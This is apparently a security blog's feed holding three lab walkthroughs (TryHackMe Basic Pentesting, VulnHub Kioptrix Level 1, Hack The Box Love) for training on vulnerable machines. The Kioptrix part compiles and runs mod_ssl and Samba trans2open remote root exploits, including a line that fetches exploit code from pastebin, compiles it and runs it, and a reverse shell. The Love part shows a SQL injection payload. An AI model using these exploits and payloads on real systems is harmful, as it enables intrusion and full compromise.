 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


Last login: Sat Sep 14 05:08:29 2024 from 10.10.126.175
kay@basic2:~$ 

We land to the machine as a user `kay`. Sudo password is written in the pass.bak file located in the home directory.

kay@basic2:~$ ls
pass.bak
kay@basic2:~$ cat pass.bak 
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
kay@basic2:~$ 

We use that password to get sudo.

kay@basic2:~$ sudo -l
[sudo] password for kay: 
Matching Defaults entries for kay on basic2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User kay may run the following commands on basic2:
    (ALL : ALL) ALL
kay@basic2:~$ 

So, user kay may run ALL the commands as root. So we basically get the root user again.

We finish with the message from the creator of the machine.

kay@basic2:~$ sudo su
root@basic2:/home/kay# cd
root@basic2:~# cat flag.txt 
Congratulations! You've completed this challenge. There are two ways (that I'm aware of) to gain 
a shell, and two ways to privesc. I encourage you to find them all!

If you're in the target audience (newcomers to pentesting), I hope you learned something. A few
takeaways from this challenge should be that every little bit of information you can find can be
valuable, but sometimes you'll need to find several different pieces of information and combine
them to make them useful. Enumeration is key! Also, sometimes it's not as easy as just finding
an obviously outdated, vulnerable service right away with a port scan (unlike the first entry
in this series). Usually you'll have to dig deeper to find things that aren't as obvious, and
therefore might've been overlooked by administrators.

Thanks for taking the time to solve this VM. If you choose to create a writeup, I hope you'll send 
me a link! I can be reached at [email protected]. If you've got questions or feedback, please reach
out to me.

Happy hacking!
root@basic2:~# 

Conclusions & Comments

This room was one of the most fun and educational boot2root machine that I’ve ever solved. I really love the concept of having multiple solution routes. However, It took one full day for me to solve this room completely. The hardest part of the machine was doing the non-metasploit exploit on Apache Struts2 service. Tracking the ICMP response messages was a cool trick to determine if it is working or not. Also, there is a vim version called vim.basic, I learned how to exit vim properly :D. Another important note is SSH brute-forcing takes a long time. Other than that, having multiple users with different permission levels, having multiple foothold paths, working on different escalation paths is a wonderful exercise.

Other Notable Resources

The post TryHackMe – Basic Pentesting Walkthrough first appeared on CSEC Blog.

]]>
https://akcoren.com/tryhackme-basic-pentesting/feed/ 0
VulnHub – Kioptrix Level 1 Walkthrough https://akcoren.com/vulnhub-kioptrix-level-1-walkthrough/?utm_source=rss&utm_medium=rss&utm_campaign=vulnhub-kioptrix-level-1-walkthrough https://akcoren.com/vulnhub-kioptrix-level-1-walkthrough/#respond Mon, 12 Aug 2024 12:52:02 +0000 https://akcoren.com/?p=1052 Kioptrix Level 1 is a beginner-friendly easy machine from VulnHub. This post shows solution with detailed walkthrough. Enumeration and exploit paths.

The post VulnHub – Kioptrix Level 1 Walkthrough first appeared on CSEC Blog.

]]>

This is a very old and quite popular beginner-friendly vulnerable box that is built for cybersecurity training. This can be considered an easy box but due to the very old versions of the services running on the box, installation and enumeration of the box might be hard for a beginner. This box can be downloaded from the following link

https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

I used the VMWare version of the box. Before running the box, change the network option to NAT(or the one that your attack machine is on), and start hacking.

Overview

This overview shows the direct path to the solution of the vulnerable box Kioptrix Level 1 without giving the commands or tools used in the solution. There is an old Apache server running on the machine with a vulnerable mod_ssl version. There is also an old, vulnerable SMB share running on the machine. Both vulnerabilities allow us to do a RCE on the machine, which lead us to gain directly the root access. The key of the box is getting the versions of the services correct and finding an exploit that works as intended.

This machine is listed in the TJ Null’s OSCP preperation list.

Detailed Walkthrough

My IP: 192.168.10.143

Machine IP: 192.168.10.129

Machine Link: https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

Enumeration

Start with default nmap scan

┌──(root㉿kali)-[~/PREP/VULNHUB/kioptrixL1]
└─# nmap -T4 -p- -A 172.16.108.129
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-24 03:32 EDT
Nmap scan report for 172.16.108.129
Host is up (0.00035s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 2.9p2 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey: 
|   1024 b8746cdbfd8be666e92a2bdf5e6f6486 (RSA1)
|   1024 8f8e5b81ed21abc180e157a33c85c471 (DSA)
|_  1024 ed4ea94a0614ff1514ceda3a80dbe281 (RSA)
80/tcp    open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp   open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1          32768/tcp   status
|_  100024  1          32768/udp   status
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ssl-date: 2023-04-24T14:32:58+00:00; +7h00m05s from scanner time.
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-09-26T09:32:06
|_Not valid after:  2010-09-26T09:32:06
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|_    SSL2_DES_192_EDE3_CBC_WITH_MD5
|_http-title: 400 Bad Request
32768/tcp open  status      1 (RPC #100024)
MAC Address: 00:0C:29:C1:94:9E (VMware)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

Host script results:
|_clock-skew: 7h00m04s
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)

TRACEROUTE
HOP RTT     ADDRESS
1   0.35 ms 172.16.108.129

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.37 seconds

This is a Linux machine. There are bunch of services running on the machine. Webserver, Samba file share, SSH and RPC. There are 2 different attack vectors in this machine. Web server with vulnerable mod_ssl version and vulnerable SMB server. At this point, the version of the SMB server is not clear, later in the article, more in depth enumeration for the smb share will be given.

OpenLuck Vulnerability

When you check the webpage served on the machine. You will see the default landing page.

Although, nmap clearly shows the running version of the Apache Webserver, 404 Not Found page leaks version information most of the time.

With a quick search of mod_ssl/2.8.4 on the web, we can find that Apache with mod_ssl < 2.8.7 version is vulnerable to OpenF*ck exploit. https://www.exploit-db.com/exploits/21671

A buffer-overflow vulnerability has been reported in some versions of the OpenSSL.

The issue occurs in the handling of the client key value during the negotiation of the SSLv2 protocol. A malicious client may be able to exploit this vulnerability to execute arbitrary code as the vulnerable server process or possibly to create a denial-of-service condition.

https://www.exploit-db.com/exploits/21671

This a  very very old exploit. So old that tools to exploit it are even very old and unstable in the most of the modern systems. Compile and run version of the exploit can be found here: https://github.com/heltonWernik/OpenLuck/blob/master/OpenFuck.c

┌──(root㉿kali)-[~/PREP/VULNHUB/kioptrixL1/open_fuck]
└─# gcc openluck.c -o openluck -lcrypto

┌──(root㉿kali)-[~/PREP/VULNHUB/kioptrixL1/open_fuck]
└─# ./openluck 0x6b 192.168.10.129 443 -c 40

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Connection... 40 of 40
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f8068
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$ 
race-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; m/raw/C7v25Xr9 -O pt 
--12:06:19--  https://pastebin.com/raw/C7v25Xr9
           => `ptrace-kmod.c'
Connecting to pastebin.com:443... connected!
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]

    0K ...                                                    @   3.84 MB/s

12:06:19 (3.84 MB/s) - `ptrace-kmod.c' saved [4026]

ptrace-kmod.c:183:1: warning: no newline at end of file
[+] Attached to 2532
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
whoami
root

We directly get the root and it is very straight forward, no need for privilege escalation. Same exploit can be found in the searchsploit database too.

┌──(root㉿kali)-[~/PREP/VULNHUB/kioptrixL1/open_fuck]
└─# searchsploit mod_ssl     
------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                              |  Path
------------------------------------------------------------------------------------------------------------ ---------------------------------
Apache mod_ssl 2.0.x - Remote Denial of Service                                                             | linux/dos/24590.txt
Apache mod_ssl 2.8.x - Off-by-One HTAccess Buffer Overflow                                                  | multiple/dos/21575.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow                                        | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)                                  | unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)                                  | unix/remote/47080.c
Apache mod_ssl OpenSSL < 0.9.6d / < 0.9.7-beta2 - 'openssl-too-open.c' SSL2 KEY_ARG Overflow                | unix/remote/40347.txt
------------------------------------------------------------------------------------------------------------ ---------------------------------

SMB Vulnerability

Since this is a very famous box, if you search for even the other services and versions of them, you will see this box showing up. However, you can find the SMB server version running on the machine with just enumeration.

I used the crackmapexec, smbclient and enum4linux. None of them shows the version number. So there are 2 different things we can do to enumerate further, the auxiliary metasploit suggestions and/or a custom script.

msf6 auxiliary(scanner/smb/smb_version) > options

Module options (auxiliary/scanner/smb/smb_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   THREADS  1                yes       The number of concurrent threads (max one per host)


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.10.129
RHOSTS => 192.168.10.129
msf6 auxiliary(scanner/smb/smb_version) > run

[*] 192.168.10.129:139    - SMB Detected (versions:) (preferred dialect:) (signatures:optional)
[*] 192.168.10.129:139    -   Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.10.129:       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

It is Samba 2.2.1a. We can get the information with the following custom script. More information on: https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb#smb-server-version.

┌──(root㉿kali)-[~/PREP/VULNHUB/kioptrixL1]
└─# ./smbver.sh 192.168.10.129 
192.168.10.129: 
                                                                                                                                              
┌──(root㉿kali)-[~/PREP/VULNHUB/kioptrixL1]
└─# UnixSamba 221a

Or you can do it manually with terminal. Listen for smb communication with tcpdump.

┌──(root㉿kali)-[~/PREP/VULNHUB/kioptrixL1]
└─# tcpdump -s0 -n -i eth0 src 192.168.10.129 and port 139 -A -c 7 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes

Start a smb communication with smbclient.

┌──(root㉿kali)-[~/PREP/VULNHUB/kioptrixL1]
└─# smbclient -L 192.168.10.129
Server does not support EXTENDED_SECURITY  but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful
Password for [WORKGROUP\root]:

Then you will get packets which contain the version information.

┌──(root㉿kali)-[~/PREP/VULNHUB/kioptrixL1]
└─# tcpdump -s0 -n -i eth0 src 192.168.10.129 and port 139 -A -c 7 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
07:24:13.728707 IP 192.168.10.129.139 > 192.168.10.143.44728: Flags [S.], seq 1984819329, ack 168727235, win 5792, options [mss 1460,sackOK,TS val 4047323 ecr 1990541057,nop,wscale 0], length 0
E..<..@.@..[..
...
.....vM..
.......pR.........
.=..v.?.....
07:24:13.728969 IP 192.168.10.129.139 > 192.168.10.143.44728: Flags [.], ack 73, win 5792, options [nop,nop,TS val 4047323 ecr 1990541057], length 0
E..41Y@[email protected]
..
...
.....vM..
..............
.=..v.?.
07:24:13.729453 IP 192.168.10.129.139 > 192.168.10.143.44728: Flags [P.], seq 1:5, ack 73, win 5792, options [nop,nop,TS val 4047323 ecr 1990541057], length 4
E..81Z@[email protected]...
...
.....vM..
..............
.=..v.?.....
07:24:13.729970 IP 192.168.10.129.139 > 192.168.10.143.44728: Flags [P.], seq 5:94, ack 240, win 5792, options [nop,nop,TS val 4047323 ecr 1990541058], length 89
E...1[@[email protected]...
...
.....vM..
........l.....
.=..v.?....U.SMBr...............................2.....................g..........,b....s.MYGROUP.
07:24:13.731014 IP 192.168.10.129.139 > 192.168.10.143.44728: Flags [P.], seq 94:165, ack 318, win 5792, options [nop,nop,TS val 4047324 ecr 1990541059], length 71
E..{1\@.@.r...
...
.....vM..
.......f......
.=..v.?....C.SMBs.....................l.d............Unix.Samba 2.2.1a.MYGROUP.

So, we know this is Unix Samba 2.2.1a. With a quick search we can find this is vulnerable to Samba trans2open Overflow. This leads us to do RCE to get the root to the machine. https://www.exploit-db.com/exploits/16861

Search this on searchsploit database to get exploit source code.

┌──(root㉿kali)-[~/PREP/VULNHUB/kioptrixL1]
└─# searchsploit trans2                                  
------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                              |  Path
------------------------------------------------------------------------------------------------------------ ---------------------------------
Microsoft - SMB Server Trans2 Zero Size Pool Alloc (MS10-054)                                               | windows/dos/14607.py
Microsoft Windows 7/2008 R2 - SMB Client Trans2 Stack Overflow (MS10-020) (PoC)                             | windows/dos/12273.py
Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit)                                                | osx/remote/9924.rb
Samba 2.2.8 (BSD x86) - 'trans2open' Remote Overflow (Metasploit)                                           | bsd_x86/remote/16880.rb
Samba 2.2.8 (Linux x86) - 'trans2open' Remote Overflow (Metasploit)                                         | linux_x86/remote/16861.rb
Samba 2.2.8 (OSX/PPC) - 'trans2open' Remote Overflow (Metasploit)                                           | osx_ppc/remote/16876.rb
Samba 2.2.8 (Solaris SPARC) - 'trans2open' Remote Overflow (Metasploit)                                     | solaris_sparc/remote/16330.rb
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (1)                                                  | unix/remote/22468.c
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (2)                                                  | unix/remote/22469.c
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (3)  <<<=====                                        | unix/remote/22470.c
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (4)                                                  | unix/remote/22471.txt
------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

Compile it and run.

┌──(root㉿kali)-[~/PREP/VULNHUB/kioptrixL1]
└─# gcc trans2open.c -o trans2open

┌──(root㉿kali)-[~/PREP/VULNHUB/kioptrixL1]
└─# ./trans2open  
Samba < 2.2.8 Remote Root exploit by Schizoprenic
Connect back method, Xnuxer-Labs, 2003.
Usage  : ./trans2open <type> <victim> <your_ip>
Targets:
         0 = Linux
         1 = FreeBSD/NetBSD
         2 = OpenBSD 3.0 and prior
         3 = OpenBSD 3.2 - non-exec stack

                                                                                                                                              
┌──(root㉿kali)-[~/PREP/VULNHUB/kioptrixL1]
└─# ./trans2open 0 192.168.10.129 192.168.10.143
[+] Listen on port: 45295
[+] Connecting back to: [192.168.10.143:45295]
[+] Target: Linux
[+] Connected to [192.168.10.129:139]
[+] Please wait in seconds...!
[+] Yeah, I have a root ....!
------------------------------
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
whoami
root

We can do the same with the metasploit framework. Strangely, Metasploit opens up a couple of sessions back to back but it works seamlessly.

msf6 exploit(linux/samba/trans2open) > options

Module options (exploit/linux/samba/trans2open):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  192.168.10.129   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   139              yes       The target port (TCP)


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.10.143   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Samba 2.2.x - Bruteforce



View the full module info with the info, or info -d command.

msf6 exploit(linux/samba/trans2open) > run

[*] Started reverse TCP handler on 192.168.10.143:4444 
[*] 192.168.10.129:139 - Trying return address 0xbffffdfc...
[*] 192.168.10.129:139 - Trying return address 0xbffffcfc...
[*] 192.168.10.129:139 - Trying return address 0xbffffbfc...
[*] 192.168.10.129:139 - Trying return address 0xbffffafc...
[*] 192.168.10.129:139 - Trying return address 0xbffff9fc...
[*] 192.168.10.129:139 - Trying return address 0xbffff8fc...
[*] 192.168.10.129:139 - Trying return address 0xbffff7fc...
[*] 192.168.10.129:139 - Trying return address 0xbffff6fc...
[*] Command shell session 9 opened (192.168.10.143:4444 -> 192.168.10.129:1039) at 2024-08-09 11:52:30 -0400

[*] Command shell session 10 opened (192.168.10.143:4444 -> 192.168.10.129:1040) at 2024-08-09 11:52:31 -0400
[*] Command shell session 11 opened (192.168.10.143:4444 -> 192.168.10.129:1041) at 2024-08-09 11:52:32 -0400
[*] Command shell session 12 opened (192.168.10.143:4444 -> 192.168.10.129:1042) at 2024-08-09 11:52:33 -0400
whoami
root

Conclusion & Comments

This is a very old machine which is in the TJNull’s OSCP preparation list. Machine runs two critically vulnerable service. Samba and Apache. Sadly, this walkthrough shows only the tools and exploits but not the in-depth analysis of the buffer overflow exploits which lead to the remote code execution. Metasploit and non-Metasploit solution for this machine is given in this walkthrough. Also a very neat trick to SMB enumeration is given. Moreover, since this is a very very old box with no current application in the modern days, it is still a very good exercise to solve it. Last but not least, I recommend this box to everyone who wants to be a ethical hacker.

Also, there is a wonderful TCM-Security video of this machine with very beginner friendly tips: https://youtu.be/sH4JCwjybGs?si=LiRM6LwQDwC3tPo0&t=2284.

Other Notable Resources

The post VulnHub – Kioptrix Level 1 Walkthrough first appeared on CSEC Blog.

]]>
https://akcoren.com/vulnhub-kioptrix-level-1-walkthrough/feed/ 0
Hack The Box – Love Walkthrough https://akcoren.com/hack-the-box-love-walkthrough/?utm_source=rss&utm_medium=rss&utm_campaign=hack-the-box-love-walkthrough https://akcoren.com/hack-the-box-love-walkthrough/#respond Thu, 21 Mar 2024 19:21:08 +0000 https://akcoren.com/?p=1004 Love is an easy Windows machine from Hack The Box. This post shows solution with detailed walkthrough. Initial foothold and escalation paths.

The post Hack The Box – Love Walkthrough first appeared on CSEC Blog.

]]>

Overview

This overview shows the direct path to the solution of Hack The Box – Love machine without giving the commands or tools which are used in the solution. There is an apache web server running on the machine which serves a certain CMS called ‘voting system’. Another sub-domain has a SSRF vulnerability which leaks admin credentials for the CMS. CMS has an authenticated RCE vulnerability. After getting the initial foothold, AlwaysInstallElevated feature is abused for the privilege escalation to get the administrator privileges.

Detailed Walkthrough

My IP: 10.10.16.9

Machine IP: 10.10.10.239

Machine Link: https://app.hackthebox.com/machines/344

Initial Foothold

Start with default nmap scan

┌──(root㉿kali)-[~/love]
└─# nmap -T4 -p- -A -Pn -oA nmap/love.allportsPN 10.10.10.239
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-18 12:38 EDT
Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 20.80% done; ETC: 12:39 (0:01:01 remaining)
Stats: 0:02:16 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 46.82% done; ETC: 12:43 (0:02:34 remaining)
Nmap scan report for 10.10.10.239
Host is up (0.11s latency).
Not shown: 65516 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Voting System using PHP
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp   open  ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after:  2022-01-18T14:00:16
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open  mysql?
| fingerprint-strings: 
|   NULL: 
|_    Host '10.10.16.9' is not allowed to connect to this MariaDB server
5000/tcp  open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
5040/tcp  open  unknown
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Not valid before: 2021-04-11T14:39:19
|_Not valid after:  2024-04-10T14:39:19
|_ssl-date: 2024-03-18T17:09:47+00:00; +22m02s from scanner time.
| tls-alpn: 
|_  http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp  open  pando-pub?
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.93%I=7%D=3/18%Time=65F86F6C%P=x86_64-pc-linux-gnu%r(NU
SF:LL,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.16\.9'\x20is\x20not\x20allowe
SF:d\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=3/18%OT=80%CT=1%CU=34592%PV=Y%DS=2%DC=T%G=Y%TM=65F8703
OS:3%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=109%CI=I%TS=U)SEQ(SP=FF%GCD=
OS:1%ISR=109%TS=U)SEQ(SP=FF%GCD=1%ISR=109%CI=I%II=I%TS=U)OPS(O1=M53ANW8NNS%
OS:O2=M53ANW8NNS%O3=M53ANW8%O4=M53ANW8NNS%O5=M53ANW8NNS%O6=M53ANNS)WIN(W1=F
OS:FFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M
OS:53ANW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=8
OS:0%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%
OS:Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%
OS:A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%
OS:DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIP
OS:L=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: Love
|   NetBIOS computer name: LOVE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-03-18T10:09:33-07:00
|_clock-skew: mean: 2h07m02s, deviation: 3h30m01s, median: 22m01s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-03-18T17:09:31
|_  start_date: N/A
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

TRACEROUTE (using port 199/tcp)
HOP RTT      ADDRESS
1   60.86 ms 10.10.16.1
2   61.00 ms 10.10.10.239

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 566.00 seconds

Bunch of ports are open, which led us to different attack paths. Following paths are the recognizable ones.

  • 445 -> SMB Server is running. We definitely enumerate this.
  • 5985, 5986 -> WinRM, if we find credentials somehow, we may go for this.
  • 80, 443, 5000, 47001 -> Webservers, we should enumerate them.
  • 3306 -> Mysql server, scan says no remote access. Most probably a dead end.
  • 5040, 7680 -> Unknown. If we are desperate and other paths do not take us anywhere, we might go for these too.

We found 3 different host names on the scan. www.love.htb, www.example.com, staging.love.htb. www.example.com does not make any sense. So we add the following 3 host names to etc/hosts file.

10.10.10.239    love.htb staging.love.htb www.love.htb

We navigate to them. A CMS called ‘voting system’ is served on the love.htb.

admin:admin does not result into anything. Is it vulnerable to injection attacks? We test is with SQLMap. We intercept the request with Burpsuite, save it as req.txt and run SQLMap to find if it is vulnerable or not. Intercepted request is given below. There are 3 request parameters voter, password and login.

POST /login.php HTTP/1.1
Host: 10.10.10.239
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://10.10.10.239
Connection: close
Referer: http://10.10.10.239/index.php
Cookie: PHPSESSID=j3f84j93ochdm1elhsdc5vs65b
Upgrade-Insecure-Requests: 1

voter=1234&password=testpass&login=

Test it via SQLMap.

┌──(root㉿kali)-[~/love]
└─# sqlmap -r req.txt        
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.7.2#stable}
|_ -| . [']     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:24:13 /2024-03-18/

[13:24:13] [INFO] parsing HTTP request from 'req.txt'
[13:24:14] [WARNING] provided value for parameter 'login' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[13:24:14] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.10.239:80/index.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
[REDACTED]
[13:24:51] [INFO] POST parameter 'voter' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[REDACTED]

[13:26:25] [WARNING] POST parameter 'password' does not seem to be injectable
[REDACTED]

[13:27:09] [WARNING] POST parameter 'login' does not seem to be injectable
sqlmap identified the following injection point(s) with a total of 214 HTTP(s) requests:
---
Parameter: voter (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: voter=1234' AND (SELECT 1042 FROM (SELECT(SLEEP(5)))iTMK) AND 'KLQe'='KLQe&password=testpass&login=
---
[REDACTED]

